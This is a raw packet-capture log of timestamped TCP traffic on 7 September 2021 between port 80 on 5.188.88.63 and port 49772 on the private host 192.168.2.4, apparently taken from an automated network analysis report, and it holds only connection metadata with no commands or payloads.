Sep 7, 2021 16:03:04.950154066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950172901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950190067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950205088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950221062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950232029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950243950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950254917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950273991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950277090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.950290918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950305939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950320959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950330973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.950336933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950351000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950366020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:04.950372934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:04.950401068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024245024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024286032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024308920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024332047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024353981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024379969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024404049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024425983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024441004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024447918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024470091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024497032 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024533033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024759054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024785995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024836063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024848938 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024861097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024883032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024904966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024914980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024926901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024952888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024954081 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.024976015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024996996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.024997950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.025018930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.025041103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.025058031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.025063038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.025084972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.025093079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.025134087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.098759890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098808050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098826885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098851919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098875999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098887920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.098897934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098922968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098923922 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.098946095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098948002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.098969936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098992109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.098995924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099018097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099039078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099041939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099066019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099087954 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099090099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099172115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099189997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099195957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099219084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099241972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099265099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099287987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099311113 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099313974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099318981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099334002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099353075 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099360943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099381924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099384069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099406958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099419117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099430084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099452972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099474907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099498034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099498987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099522114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099548101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099562883 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099569082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099572897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099595070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099611998 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099617958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099641085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099653959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099663019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099685907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099709034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099734068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099750042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099766016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099780083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099792957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099796057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099813938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099836111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099855900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099873066 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099879980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099903107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.099920034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.099965096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.173690081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173727989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173749924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173772097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173794031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173820019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173835993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.173877001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.173882008 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.174006939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.174032927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.174050093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.174055099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.174091101 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176071882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176143885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176170111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176192045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176698923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176734924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176758051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176769018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176780939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176803112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176810980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176857948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176861048 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176881075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176902056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176923037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176923990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176945925 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.176965952 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.176966906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177006960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177095890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177119970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177139997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177162886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177166939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177184105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177206039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177208900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177233934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177244902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177257061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177280903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177293062 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177303076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177324057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177335978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177345991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177367926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177380085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177392006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177413940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177433968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177433968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177455902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177469969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177478075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177498102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177521944 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177535057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177556992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177573919 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177578926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177602053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177613974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.177625895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.177661896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.246634007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246676922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246752977 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.246769905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246793032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246818066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246840954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.246849060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.246893883 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.247013092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.247034073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.247082949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.247138023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.247159958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.247209072 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.249982119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250005960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250026941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250080109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250102043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250103951 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250148058 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250153065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250174999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250200033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250220060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250241995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250288010 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250375032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250396967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250427008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250447989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250483990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250507116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.250513077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.250560045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320450068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320480108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320497990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320519924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320544004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320589066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320609093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320646048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320703030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320751905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320775986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320797920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320818901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320839882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320862055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320882082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320904016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320909023 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320924044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320946932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320967913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320979118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320985079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320988894 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320988894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.320991993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.320996046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321000099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321003914 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321008921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321031094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321052074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321064949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321070910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321091890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321116924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321140051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321151018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321161032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321182966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321194887 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321204901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321228027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321249008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321270943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321295977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.321321964 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321340084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321342945 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.321346045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324264050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324287891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324310064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324331045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324356079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324378014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324398994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324403048 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324420929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324441910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324457884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324461937 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324462891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324485064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324506998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324531078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324547052 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324554920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324561119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.324609995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.324616909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.401791096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401824951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401849031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401871920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401894093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401912928 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.401918888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401942968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.401943922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401967049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.401969910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.401989937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402005911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402014017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402035952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402059078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402070999 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402082920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402102947 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402107000 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402127981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402149916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402151108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402175903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402195930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402199030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402225018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402242899 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402250051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402273893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402292013 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402301073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402324915 CEST	80	49772	5.188.88.63	192.168.2.4
